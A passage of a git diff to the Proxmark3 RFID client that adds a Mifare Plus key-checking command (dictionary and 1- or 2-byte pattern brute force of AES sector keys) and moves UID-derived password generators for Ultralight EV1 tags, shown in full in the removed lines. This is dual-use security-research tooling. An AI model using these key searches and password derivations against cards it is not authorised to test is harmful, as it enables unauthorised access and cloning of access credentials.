0x4000 + sector * 2 + keyAB; + keyn[0] = uKeyNum >> 8; + keyn[1] = uKeyNum & 0xff; + + for (int retry = 0; retry < 4; retry++) { + res = MifareAuth4(NULL, keyn, keyList[i], selectCard, true, false, false, true); + if (res != 2) + break; + + if (verbose) + PrintAndLogEx(WARNING, "retried[%d]...", retry); + else + printf("R"); + + DropField(); + selectCard = true; + msleep(100); + } + + if (verbose) + PrintAndLogEx(WARNING, "sector %02d key %d [%s] res: %d", sector, keyAB, sprint_hex_inrow(keyList[i], 16), res); + + // key for [sector,keyAB] found + if (res == 0) { + if (verbose) + PrintAndLogEx(INFO, "Found key for sector %d key %s [%s]", sector, keyAB == 0 ? "A" : "B", sprint_hex_inrow(keyList[i], 16)); + else + printf("+"); + foundKeys[keyAB][sector][0] = 0x01; + memcpy(&foundKeys[keyAB][sector][1], keyList[i], AES_KEY_LEN); + DropField(); + selectCard = true; + msleep(50); + break; + } + + // 5 - auth error (rnd not equal) + if (res != 5) { + if (verbose) + PrintAndLogEx(ERR, "Exchange error. Aborted."); + else + printf("E"); + DropField(); + return PM3_ECARDEXCHANGE; + } + + selectCard = false; + } + } + } + + DropField(); + return PM3_SUCCESS; +} + +void Fill2bPattern(uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN], size_t *keyListLen, uint32_t *startPattern) { + for (uint32_t pt = *startPattern; pt < 0x10000; pt++) { + keyList[*keyListLen][0] = (pt >> 8) & 0xff; + keyList[*keyListLen][1] = pt & 0xff; + memcpy(&keyList[*keyListLen][2], &keyList[*keyListLen][0], 2); + memcpy(&keyList[*keyListLen][4], &keyList[*keyListLen][0], 4); + memcpy(&keyList[*keyListLen][8], &keyList[*keyListLen][0], 8); + (*keyListLen)++; + *startPattern = pt; + if (*keyListLen == MAX_KEYS_LIST_LEN) + break; + } + (*startPattern)++; +} + +static int CmdHFMFPChk(const char *Cmd) { + int res; + uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN] = {{0}}; + size_t keyListLen = 0; + uint8_t foundKeys[2][64][AES_KEY_LEN + 1] = {{{0}}}; + + CLIParserInit("hf mfp chk", + "Checks keys with Mifare Plus card.", + "Usage:\n" + " hf mfp chk -k 000102030405060708090a0b0c0d0e0f -> check key on sector 0 as key A and B\n" + " hf mfp chk -s 2 -a -> check default key list on sector 2, key A\n" + " hf mfp chk -d mfp_default_keys -s0 -e6 -> check keys from dictionary against sectors 0-6\n" + " hf mfp chk --pattern1b -j keys -> check all 1-byte keys pattern and save found keys to json\n" + " hf mfp chk --pattern2b --startp2b FA00 -> check all 2-byte keys pattern. Start from key FA00FA00...FA00\n"); + + void *argtable[] = { + arg_param_begin, + arg_lit0("aA", "keya", "check only key A (by default check all keys)."), + arg_lit0("bB", "keyb", "check only key B (by default check all keys)."), + arg_int0("sS", "startsec", "Start sector Num (0..255)", NULL), + arg_int0("eE", "endsec", "End sector Num (0..255)", NULL), + arg_str0("kK", "key", "", "Key for checking (HEX 16 bytes)"), + arg_str0("dD", "dict", "", "file with keys dictionary"), + arg_lit0(NULL, "pattern1b", "check all 1-byte combinations of key (0000...0000, 0101...0101, 0202...0202, ...)"), + arg_lit0(NULL, "pattern2b", "check all 2-byte combinations of key (0000...0000, 0001...0001, 0002...0002, ...)"), + arg_str0(NULL, "startp2b", "", "Start key (2-byte HEX) for 2-byte search (use with `--pattern2b`)"), + arg_str0("jJ", "json", "", "json file to save keys"), + arg_lit0("vV", "verbose", "verbose mode."), + arg_param_end + }; + CLIExecWithReturn(Cmd, argtable, true); + + bool keyA = arg_get_lit(1); + bool keyB = arg_get_lit(2); + uint8_t startSector = arg_get_int_def(3, 0); + uint8_t endSector = arg_get_int_def(4, 0); + + uint8_t vkey[16] = {0}; + int vkeylen = 0; + CLIGetHexWithReturn(5, vkey, &vkeylen); + if (vkeylen > 0) { + if (vkeylen == 16) { + memcpy(&keyList[keyListLen], vkey, 16); + keyListLen++; + } else { + PrintAndLogEx(ERR, "Specified key must have 16 bytes length."); + CLIParserFree(); + return PM3_EINVARG; + } + } + + uint8_t dict_filename[FILE_PATH_SIZE + 2] = {0}; + int dict_filenamelen = 0; + if (CLIParamStrToBuf(arg_get_str(6), dict_filename, FILE_PATH_SIZE, &dict_filenamelen)) { + PrintAndLogEx(FAILED, "File name too long or invalid."); + CLIParserFree(); + return PM3_EINVARG; + } + + bool pattern1b = arg_get_lit(7); + bool pattern2b = arg_get_lit(8); + + if (pattern1b && pattern2b) { + PrintAndLogEx(ERR, "Pattern search mode must be 2-byte or 1-byte only."); + CLIParserFree(); + return PM3_EINVARG; + } + + if (dict_filenamelen && (pattern1b || pattern2b)) { + PrintAndLogEx(ERR, "Pattern search mode and dictionary mode can't be used in one command."); + CLIParserFree(); + return PM3_EINVARG; + } + + uint32_t startPattern = 0x0000; + uint8_t vpattern[2]; + int vpatternlen = 0; + CLIGetHexWithReturn(9, vpattern, &vpatternlen); + if (vpatternlen > 0) { + if (vpatternlen > 0 && vpatternlen <= 2) { + startPattern = (vpattern[0] << 8) + vpattern[1]; + } else { + PrintAndLogEx(ERR, "Pattern must be 2-byte length."); + CLIParserFree(); + return PM3_EINVARG; + } + if (!pattern2b) + PrintAndLogEx(WARNING, "Pattern entered, but search mode not is 2-byte search."); + } + + uint8_t jsonname[250] = {0}; + int jsonnamelen = 0; + if (CLIParamStrToBuf(arg_get_str(10), jsonname, sizeof(jsonname), &jsonnamelen)) { + PrintAndLogEx(ERR, "Invalid json name."); + CLIParserFree(); + return PM3_EINVARG; + } + jsonname[jsonnamelen] = 0; + + bool verbose = arg_get_lit(11); + + CLIParserFree(); + + uint8_t startKeyAB = 0; + uint8_t endKeyAB = 1; + if (keyA && !keyB) + endKeyAB = 0; + if (!keyA && keyB) + startKeyAB = 1; + + if (endSector < startSector) + endSector = startSector; + + // 1-byte pattern search mode + if (pattern1b) { + for (int i = 0; i < 0x100; i++) + memset(keyList[i], i, 16); + + keyListLen = 0x100; + } + + // 2-byte pattern search mode + if (pattern2b) + Fill2bPattern(keyList, &keyListLen, &startPattern); + + // dictionary mode + size_t endFilePosition = 0; + if (dict_filenamelen) { + uint16_t keycnt = 0; + res = loadFileDICTIONARYEx((char *)dict_filename, keyList, sizeof(keyList), NULL, 16, &keycnt, 0, &endFilePosition, true); + keyListLen = keycnt; + if (endFilePosition) + PrintAndLogEx(SUCCESS, "First part of dictionary successfully loaded."); + } + + if (keyListLen == 0) { + for (int i = 0; i < g_mifare_plus_default_keys_len; i++) { + if (hex_to_bytes(g_mifare_plus_default_keys[i], keyList[keyListLen], 16) != 16) + break; + + keyListLen++; + } + } + + if (keyListLen == 0) { + PrintAndLogEx(ERR, "Key list is empty. Nothing to check."); + return PM3_EINVARG; + } + + if (!verbose) + printf("Search keys:"); + while (true) { + res = MFPKeyCheck(startSector, endSector, startKeyAB, endKeyAB, keyList, keyListLen, foundKeys, verbose); + if (res == PM3_EOPABORTED) + break; + if (pattern2b && startPattern < 0x10000) { + if (!verbose) + printf("p"); + keyListLen = 0; + Fill2bPattern(keyList, &keyListLen, &startPattern); + continue; + } + if (dict_filenamelen && endFilePosition) { + if (!verbose) + printf("d"); + uint16_t keycnt = 0; + res = loadFileDICTIONARYEx((char *)dict_filename, keyList, sizeof(keyList), NULL, 16, &keycnt, endFilePosition, &endFilePosition, false); + keyListLen = keycnt; + continue; + } + break; + } + if (!verbose) + printf("\n"); + + // print result + bool printedHeader = false; + for (uint8_t sector = startSector; sector <= endSector; sector++) { + if (foundKeys[0][sector][0] || foundKeys[1][sector][0]) { + if (!printedHeader) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, ".------.--------------------------------.--------------------------------."); + PrintAndLogEx(INFO, "|sector| key A | key B |"); + PrintAndLogEx(INFO, "|------|--------------------------------|--------------------------------|"); + printedHeader = true; + } + PrintAndLogEx(INFO, "| %02d |%32s|%32s|", + sector, + (foundKeys[0][sector][0] == 0) ? "------ " : sprint_hex_inrow(&foundKeys[0][sector][1], AES_KEY_LEN), + (foundKeys[1][sector][0] == 0) ? "------ " : sprint_hex_inrow(&foundKeys[1][sector][1], AES_KEY_LEN)); + } + } + if (!printedHeader) + PrintAndLogEx(INFO, "No keys found("); + else + PrintAndLogEx(INFO, "'------'--------------------------------'--------------------------------'\n"); + + // save keys to json + if ((jsonnamelen > 0) && printedHeader) { + // Mifare Plus info + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT, 0, 0, NULL, 0); + + PacketResponseNG resp; + WaitForResponse(CMD_ACK, &resp); + + iso14a_card_select_t card; + memcpy(&card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t)); + + uint64_t select_status = resp.oldarg[0]; // 0: couldn't read, 1: OK, with ATS, 2: OK, no ATS, 3: proprietary Anticollision + + uint8_t data[10 + 1 + 2 + 1 + 256 + 2 * 64 * (AES_KEY_LEN + 1)] = {0}; + uint8_t atslen = 0; + if (select_status == 1 || select_status == 2) { + memcpy(data, card.uid, card.uidlen); + data[10] = card.sak; + data[11] = card.atqa[1]; + data[12] = card.atqa[0]; + atslen = card.ats_len; + data[13] = atslen; + memcpy(&data[14], card.ats, atslen); + } + + // length: UID(10b)+SAK(1b)+ATQA(2b)+ATSlen(1b)+ATS(atslen)+foundKeys[2][64][AES_KEY_LEN + 1] + memcpy(&data[14 + atslen], foundKeys, 2 * 64 * (AES_KEY_LEN + 1)); + saveFileJSON((char *)jsonname, jsfMfPlusKeys, data, 64); + } + + return PM3_SUCCESS; +} + +static int CmdHFMFPMAD(const char *Cmd) { CLIParserInit("hf mfp mad", "Checks and prints Mifare Application Directory (MAD)", @@ -652,7 +980,7 @@ static int CmdHFMFPMAD(const char *cmd) { arg_lit0("bB", "keyb", "use key B for access printing sectors (by default: key A)"), arg_param_end }; - CLIExecWithReturn(cmd, argtable, true); + CLIExecWithReturn(Cmd, argtable, true); bool verbose = arg_get_lit(1); uint8_t aid[2] = {0}; @@ -728,10 +1056,10 @@ static int CmdHFMFPMAD(const char *cmd) { } } - return 0; + return PM3_SUCCESS; } -static int CmdHFMFPNDEF(const char *cmd) { +static int CmdHFMFPNDEF(const char *Cmd) { CLIParserInit("hf mfp ndef", "Prints NFC Data Exchange Format (NDEF)", @@ -746,7 +1074,7 @@ static int CmdHFMFPNDEF(const char *cmd) { arg_lit0("bB", "keyb", "use key B for access sectors (by default: key A)"), arg_param_end }; - CLIExecWithReturn(cmd, argtable, true); + CLIExecWithReturn(Cmd, argtable, true); bool verbose = arg_get_lit(1); bool verbose2 = arg_get_lit(1) > 1; @@ -832,7 +1160,7 @@ static int CmdHFMFPNDEF(const char *cmd) { NDEFDecodeAndPrint(data, datalen, verbose); - return 0; + return PM3_SUCCESS; } static command_t CommandTable[] = { @@ -845,6 +1173,7 @@ static command_t CommandTable[] = { {"rdbl", CmdHFMFPRdbl, IfPm3Iso14443a, "Read blocks"}, {"rdsc", CmdHFMFPRdsc, IfPm3Iso14443a, "Read sectors"}, {"wrbl", CmdHFMFPWrbl, IfPm3Iso14443a, "Write blocks"}, + {"chk", CmdHFMFPChk, IfPm3Iso14443a, "Check keys"}, {"mad", CmdHFMFPMAD, IfPm3Iso14443a, "Checks and prints MAD"}, {"ndef", CmdHFMFPNDEF, IfPm3Iso14443a, "Prints NDEF records from card"}, {NULL, NULL, 0, NULL} @@ -853,7 +1182,7 @@ static command_t CommandTable[] = { static int CmdHelp(const char *Cmd) { (void)Cmd; // Cmd is not used so far CmdsHelp(CommandTable); - return 0; + return PM3_SUCCESS; } int CmdHFMFP(const char *Cmd) { diff --git a/client/cmdhfmfp.h b/client/cmdhfmfp.h index 6ba2af504..a26aeab87 100644 --- a/client/cmdhfmfp.h +++ b/client/cmdhfmfp.h @@ -14,5 +14,4 @@ int CmdHFMFP(const char *Cmd); - #endif diff --git a/client/cmdhfmfu.c b/client/cmdhfmfu.c index d7bdce1fc..5387cc855 100644 --- a/client/cmdhfmfu.c +++ b/client/cmdhfmfu.c @@ -20,6 +20,7 @@ #include "comms.h" #include "fileutils.h" #include "protocols.h" +#include "generator.h" #define MAX_UL_BLOCKS 0x0F #define MAX_ULC_BLOCKS 0x2B @@ -283,151 +284,6 @@ uint8_t UL_MEMORY_ARRAY[ARRAYLEN(UL_TYPES_ARRAY)] = { MAX_ULEV1a_BLOCKS, MAX_NTAG_213, MAX_NTAG_216, MAX_UL_NANO_40, MAX_NTAG_I2C_1K }; -//------------------------------------ -// Pwd & Pack generation Stuff -//------------------------------------ -const uint32_t c_D[] = { - 0x6D835AFC, 0x7D15CD97, 0x0942B409, 0x32F9C923, 0xA811FB02, 0x64F121E8, - 0xD1CC8B4E, 0xE8873E6F, 0x61399BBB, 0xF1B91926, 0xAC661520, 0xA21A31C9, - 0xD424808D, 0xFE118E07, 0xD18E728D, 0xABAC9E17, 0x18066433, 0x00E18E79, - 0x65A77305, 0x5AE9E297, 0x11FC628C, 0x7BB3431F, 0x942A8308, 0xB2F8FD20, - 0x5728B869, 0x30726D5A -}; - -static void transform_D(uint8_t *ru) { - //Transform - uint8_t i; - uint8_t p = 0; - uint32_t v1 = ((ru[3] << 24) | (ru[2] << 16) | (ru[1] << 8) | ru[0]) + c_D[p++]; - uint32_t v2 = ((ru[7] << 24) | (ru[6] << 16) | (ru[5] << 8) | ru[4]) + c_D[p++]; - for (i = 0; i < 12; i += 2) { - - uint32_t xor1 = v1 ^ v2; - uint32_t t1 = ROTL(xor1, v2 & 0x1F) + c_D[p++]; - uint32_t xor2 = v2 ^ t1; - uint32_t t2 = ROTL(xor2, t1 & 0x1F) + c_D[p++]; - uint32_t xor3 = t1 ^ t2; - uint32_t xor4 = t2 ^ v1; - v1 = ROTL(xor3, t2 & 0x1F) + c_D[p++]; - v2 = ROTL(xor4, v1 & 0x1F) + c_D[p++]; - } - - //Re-use ru - ru[0] = v1 & 0xFF; - ru[1] = (v1 >> 8) & 0xFF; - ru[2] = (v1 >> 16) & 0xFF; - ru[3] = (v1 >> 24) & 0xFF; - ru[4] = v2 & 0xFF; - ru[5] = (v2 >> 8) & 0xFF; - ru[6] = (v2 >> 16) & 0xFF; - ru[7] = (v2 >> 24) & 0xFF; -} - -// Certain pwd generation algo nickname A. -uint32_t ul_ev1_pwdgenA(uint8_t *uid) { - - uint8_t pos = (uid[3] ^ uid[4] ^ uid[5] ^ uid[6]) % 32; - - uint32_t xortable[] = { - 0x4f2711c1, 0x07D7BB83, 0x9636EF07, 0xB5F4460E, 0xF271141C, 0x7D7BB038, 0x636EF871, 0x5F4468E3, - 0x271149C7, 0xD7BB0B8F, 0x36EF8F1E, 0xF446863D, 0x7114947A, 0x7BB0B0F5, 0x6EF8F9EB, 0x44686BD7, - 0x11494fAF, 0xBB0B075F, 0xEF8F96BE, 0x4686B57C, 0x1494F2F9, 0xB0B07DF3, 0xF8F963E6, 0x686B5FCC, - 0x494F2799, 0x0B07D733, 0x8F963667, 0x86B5F4CE, 0x94F2719C, 0xB07D7B38, 0xF9636E70, 0x6B5F44E0 - }; - - uint8_t entry[] = {0x00, 0x00, 0x00, 0x00}; - uint8_t pwd[] = {0x00, 0x00, 0x00, 0x00}; - - num_to_bytes(xortable[pos], 4, entry); - - pwd[0] = entry[0] ^ uid[1] ^ uid[2] ^ uid[3]; - pwd[1] = entry[1] ^ uid[0] ^ uid[2] ^ uid[4]; - pwd[2] = entry[2] ^ uid[0] ^ uid[1] ^ uid[5]; - pwd[3] = entry[3] ^ uid[6]; - - return (uint32_t)bytes_to_num(pwd, 4); -} - -// Certain pwd generation algo nickname B. (very simple) -static uint32_t ul_ev1_pwdgenB(uint8_t *uid) { - - uint8_t pwd[] = {0x00, 0x00, 0x00, 0x00}; - - pwd[0] = uid[1] ^ uid[3] ^ 0xAA; - pwd[1] = uid[2] ^ uid[4] ^ 0x55; - pwd[2] = uid[3] ^ uid[5] ^ 0xAA; - pwd[3] = uid[4] ^ uid[6] ^ 0x55; - return (uint32_t)bytes_to_num(pwd, 4); -} - -// Certain pwd generation algo nickname C. -uint32_t ul_ev1_pwdgenC(uint8_t *uid) { - uint32_t pwd = 0; - uint8_t base[] = { - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x28, - 0x63, 0x29, 0x20, 0x43, 0x6f, 0x70, 0x79, 0x72, - 0x69, 0x67, 0x68, 0x74, 0x20, 0x4c, 0x45, 0x47, - 0x4f, 0x20, 0x32, 0x30, 0x31, 0x34, 0xaa, 0xaa - }; - - memcpy(base, uid, 7); - - for (int i = 0; i < 32; i += 4) { - uint32_t b = *(uint32_t *)(base + i); - pwd = b + ROTR(pwd, 25) + ROTR(pwd, 10) - pwd; - } - return BSWAP_32(pwd); -} -// Certain pwd generation algo nickname D. -// a.k.a xzy -uint32_t ul_ev1_pwdgenD(uint8_t *uid) { - uint8_t i; - //Rotate - uint8_t r = (uid[1] + uid[3] + uid[5]) & 7; //Rotation offset - uint8_t ru[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; //Rotated UID - for (i = 0; i < 7; i++) - ru[(i + r) & 7] = uid[i]; - - transform_D(ru); - - //Calc key - uint32_t pwd = 0; //Key as int - r = (ru[0] + ru[2] + ru[4] + ru[6]) & 3; //Offset - for (i = 0; i < 4; i++) - pwd = ru[i + r] + (pwd << 8); - - return BSWAP_32(pwd); -} -// pack generation for algo 1-3 -uint16_t ul_ev1_packgenA(uint8_t *uid) { - uint16_t pack = (uid[0] ^ uid[1] ^ uid[2]) << 8 | (uid[2] ^ 8); - return pack; -} -uint16_t ul_ev1_packgenB(uint8_t *uid) { - return 0x8080; -} -uint16_t ul_ev1_packgenC(uint8_t *uid) { - return 0xaa55; -} -uint16_t ul_ev1_packgenD(uint8_t *uid) { - uint8_t i; - //Rotate - uint8_t r = (uid[2] + uid[5]) & 7; //Rotation offset - uint8_t ru[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; //Rotated UID - for (i = 0; i < 7; i++) - ru[(i + r) & 7] = uid[i]; - - transform_D(ru); - - //Calc pack - uint32_t p = 0; - for (i = 0; i < 8; i++) - p += ru[i] * 13; - - p ^= 0x5555; - return BSWAP_16(p & 0xFFFF); -} - static int ul_ev1_pwdgen_selftest() { uint8_t uid1[] = {0x04, 0x11, 0x12, 0x11, 0x12, 0x11, 0x10}; @@ -445,7 +301,7 @@ static int ul_ev1_pwdgen_selftest() { uint8_t uid4[] = {0x04, 0xC5, 0xDF, 0x4A, 0x6D, 0x51, 0x80}; uint32_t pwd4 = ul_ev1_pwdgenD(uid4); PrintAndLogEx(NORMAL, "UID | %s | %08X | %s", sprint_hex(uid4, 7), pwd4, (pwd4 == 0x72B1EC61) ? "OK" : "->72B1EC61<--"); - return 0; + return PM3_SUCCESS; } //------------------------------------ @@ -565,7 +421,7 @@ static int ulc_requestAuthentication(uint8_t *nonce, uint16_t nonceLength) { static int ulc_authentication(uint8_t *key, bool switch_off_field) { clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREUC_AUTH, switch_off_field, 0, 0, key, 16); + SendCommandMIX(CMD_HF_MIFAREUC_AUTH, switch_off_field, 0, 0, key, 16); PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) return 0; if (resp.oldarg[0] == 1) return 1; @@ -2262,7 +2118,7 @@ static int CmdHF14AMfURestore(const char *Cmd) { PrintAndLogEx(NORMAL, "special PWD block written 0x%X - %s\n", MFU_NTAG_SPECIAL_PWD, sprint_hex(data, 4)); clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, MFU_NTAG_SPECIAL_PWD, keytype, 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, MFU_NTAG_SPECIAL_PWD, keytype, 0, data, sizeof(data)); wait4response(MFU_NTAG_SPECIAL_PWD); @@ -2278,7 +2134,7 @@ static int CmdHF14AMfURestore(const char *Cmd) { data[3] = 0; PrintAndLogEx(NORMAL, "special PACK block written 0x%X - %s\n", MFU_NTAG_SPECIAL_PACK, sprint_hex(data, 4)); clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, MFU_NTAG_SPECIAL_PACK, keytype, 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, MFU_NTAG_SPECIAL_PACK, keytype, 0, data, sizeof(data)); wait4response(MFU_NTAG_SPECIAL_PACK); // Signature @@ -2286,7 +2142,7 @@ static int CmdHF14AMfURestore(const char *Cmd) { memcpy(data, mem->signature + i, 4); PrintAndLogEx(NORMAL, "special SIG block written 0x%X - %s\n", s, sprint_hex(data, 4)); clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, s, keytype, 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, s, keytype, 0, data, sizeof(data)); wait4response(s); } @@ -2295,7 +2151,7 @@ static int CmdHF14AMfURestore(const char *Cmd) { memcpy(data, mem->version + i, 4); PrintAndLogEx(NORMAL, "special VERSION block written 0x%X - %s\n", s, sprint_hex(data, 4)); clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, s, keytype, 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, s, keytype, 0, data, sizeof(data)); wait4response(s); } } @@ -2309,7 +2165,7 @@ static int CmdHF14AMfURestore(const char *Cmd) { //Send write Block memcpy(data, mem->data + (b * 4), 4); clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, b, keytype, 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, b, keytype, 0, data, sizeof(data)); wait4response(b); printf("."); fflush(stdout); @@ -2329,7 +2185,7 @@ static int CmdHF14AMfURestore(const char *Cmd) { uint8_t b = blocks[i]; memcpy(data, mem->data + (b * 4), 4); clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, b, keytype, 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, b, keytype, 0, data, sizeof(data)); wait4response(b); PrintAndLogEx(NORMAL, "special block written %u - %s\n", b, sprint_hex(data, 4)); } @@ -2338,7 +2194,7 @@ static int CmdHF14AMfURestore(const char *Cmd) { DropField(); free(dump); PrintAndLogEx(INFO, "Finish restore"); - return 0; + return PM3_SUCCESS; } // // Load emulator with dump file @@ -2388,7 +2244,7 @@ static int CmdHF14AMfUCAuth(const char *Cmd) { else PrintAndLogEx(WARNING, "Authentication failed"); - return 0; + return PM3_SUCCESS; } /** @@ -2500,11 +2356,11 @@ static int CmdHF14AMfUCSetPwd(const char *Cmd) { if (param_gethex(Cmd, 0, pwd, 32)) { PrintAndLogEx(WARNING, "Password must include 32 HEX symbols"); - return 1; + return PM3_EINVARG; } clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREUC_SETPWD, 0, 0, 0, pwd, 16); + SendCommandMIX(CMD_HF_MIFAREUC_SETPWD, 0, 0, 0, pwd, 16); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { @@ -2512,13 +2368,13 @@ static int CmdHF14AMfUCSetPwd(const char *Cmd) { PrintAndLogEx(INFO, "Ultralight-C new password: %s", sprint_hex(pwd, 16)); } else { PrintAndLogEx(WARNING, "Failed writing at block %u", (uint8_t)(resp.oldarg[1] & 0xff)); - return 1; + return PM3_ESOFT; } } else { PrintAndLogEx(WARNING, "command execution time out"); - return 1; + return PM3_ETIMEOUT; } - return 0; + return PM3_SUCCESS; } // @@ -2556,7 +2412,7 @@ static int CmdHF14AMfUCSetUid(const char *Cmd) { data[2] = uid[2]; data[3] = 0x88 ^ uid[0] ^ uid[1] ^ uid[2]; clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, 0, 0, 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, 0, 0, 0, data, sizeof(data)); if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { PrintAndLogEx(WARNING, "Command execute timeout"); return PM3_ETIMEOUT; @@ -2568,7 +2424,7 @@ static int CmdHF14AMfUCSetUid(const char *Cmd) { data[2] = uid[5]; data[3] = uid[6]; clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, 1, 0, 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, 1, 0, 0, data, sizeof(data)); if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { PrintAndLogEx(WARNING, "Command execute timeout"); return PM3_ETIMEOUT; @@ -2580,7 +2436,7 @@ static int CmdHF14AMfUCSetUid(const char *Cmd) { data[2] = oldblock2[2]; data[3] = oldblock2[3]; clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, 2, 0, 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, 2, 0, 0, data, sizeof(data)); if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { PrintAndLogEx(WARNING, "Command execute timeout"); return PM3_ETIMEOUT; @@ -2611,13 +2467,15 @@ static int CmdHF14AMfUGenDiverseKeys(const char *Cmd) { if (select_status == 0) { PrintAndLogEx(WARNING, "iso14443a card select failed"); - return 1; + return PM3_ESOFT; } - if (card.uidlen != 4) { - PrintAndLogEx(WARNING, "Wrong sized UID, expected 4bytes got %d", card.uidlen); - return 1; - } - memcpy(uid, card.uid, sizeof(uid)); + /* + if (card.uidlen != 4) { + PrintAndLogEx(WARNING, "Wrong sized UID, expected 4bytes got %d", card.uidlen); + return PM3_ESOFT; + } + */ + memcpy(uid, card.uid, card.uidlen); } else { if (param_gethex(Cmd, 0, uid, 8)) return usage_hf_mfu_gendiverse(); } @@ -2654,13 +2512,13 @@ static int CmdHF14AMfUGenDiverseKeys(const char *Cmd) { , divkey // output ); - PrintAndLogEx(NORMAL, "-- 3DES version"); - PrintAndLogEx(NORMAL, "Masterkey :\t %s", sprint_hex(masterkey, sizeof(masterkey))); - PrintAndLogEx(NORMAL, "UID :\t %s", sprint_hex(uid, sizeof(uid))); - PrintAndLogEx(NORMAL, "block :\t %0d", block); - PrintAndLogEx(NORMAL, "Mifare key :\t %s", sprint_hex(mifarekeyA, sizeof(mifarekeyA))); - PrintAndLogEx(NORMAL, "Message :\t %s", sprint_hex(mix, sizeof(mix))); - PrintAndLogEx(NORMAL, "Diversified key: %s", sprint_hex(divkey + 1, 6)); + PrintAndLogEx(SUCCESS, "-- 3DES version"); + PrintAndLogEx(SUCCESS, "Masterkey :\t %s", sprint_hex(masterkey, sizeof(masterkey))); + PrintAndLogEx(SUCCESS, "UID :\t %s", sprint_hex(uid, sizeof(uid))); + PrintAndLogEx(SUCCESS, "block :\t %0d", block); + PrintAndLogEx(SUCCESS, "Mifare key :\t %s", sprint_hex(mifarekeyA, sizeof(mifarekeyA))); + PrintAndLogEx(SUCCESS, "Message :\t %s", sprint_hex(mix, sizeof(mix))); + PrintAndLogEx(SUCCESS, "Diversified key: %s", sprint_hex(divkey + 1, 6)); for (int i = 0; i < ARRAYLEN(mifarekeyA); ++i) { dkeyA[i] = (mifarekeyA[i] << 1) & 0xff; @@ -2690,11 +2548,11 @@ static int CmdHF14AMfUGenDiverseKeys(const char *Cmd) { , newpwd // output ); - PrintAndLogEx(NORMAL, "\n-- DES version"); - PrintAndLogEx(NORMAL, "Mifare dkeyA :\t %s", sprint_hex(dkeyA, sizeof(dkeyA))); - PrintAndLogEx(NORMAL, "Mifare dkeyB :\t %s", sprint_hex(dkeyB, sizeof(dkeyB))); - PrintAndLogEx(NORMAL, "Mifare ABA :\t %s", sprint_hex(dmkey, sizeof(dmkey))); - PrintAndLogEx(NORMAL, "Mifare Pwd :\t %s", sprint_hex(newpwd, sizeof(newpwd))); + PrintAndLogEx(SUCCESS, "\n-- DES version"); + PrintAndLogEx(SUCCESS, "Mifare dkeyA :\t %s", sprint_hex(dkeyA, sizeof(dkeyA))); + PrintAndLogEx(SUCCESS, "Mifare dkeyB :\t %s", sprint_hex(dkeyB, sizeof(dkeyB))); + PrintAndLogEx(SUCCESS, "Mifare ABA :\t %s", sprint_hex(dmkey, sizeof(dmkey))); + PrintAndLogEx(SUCCESS, "Mifare Pwd :\t %s", sprint_hex(newpwd, sizeof(newpwd))); mbedtls_des3_free(&ctx); // next. from the diversify_key method. diff --git a/client/cmdhfthinfilm.c b/client/cmdhfthinfilm.c index 6f36a0a9b..dad67509b 100644 --- a/client/cmdhfthinfilm.c +++ b/client/cmdhfthinfilm.c @@ -155,10 +155,12 @@ int infoThinFilm(bool verbose) { } if (resp.status == PM3_SUCCESS) { - if (resp.length == 16 || resp.length == 32 || verbose) { + if (resp.length == 16 || resp.length == 32) { print_barcode(resp.data.asBytes, resp.length, verbose); } else { - PrintAndLogEx(WARNING, "Response is wrong length. (%d)", resp.length); + if (verbose) + PrintAndLogEx(WARNING, "Response is wrong length. (%d)", resp.length); + return PM3_ESOFT; } } diff --git a/client/cmdhftopaz.c b/client/cmdhftopaz.c index ae404b22d..98de42b7b 100644 --- a/client/cmdhftopaz.c +++ b/client/cmdhftopaz.c @@ -220,14 +220,14 @@ static int topaz_print_CC(uint8_t *data) { return PM3_ESOFT; // no NDEF message } - PrintAndLogEx(NORMAL, "Capability Container: %02x %02x %02x %02x", data[0], data[1], data[2], data[3]); - PrintAndLogEx(NORMAL, " %02x: NDEF Magic Number", data[0]); - PrintAndLogEx(NORMAL, " %02x: version %d.%d supported by tag", data[1], (data[1] & 0xF0) >> 4, data[1] & 0x0f); + PrintAndLogEx(SUCCESS, "Capability Container: %02x %02x %02x %02x", data[0], data[1], data[2], data[3]); 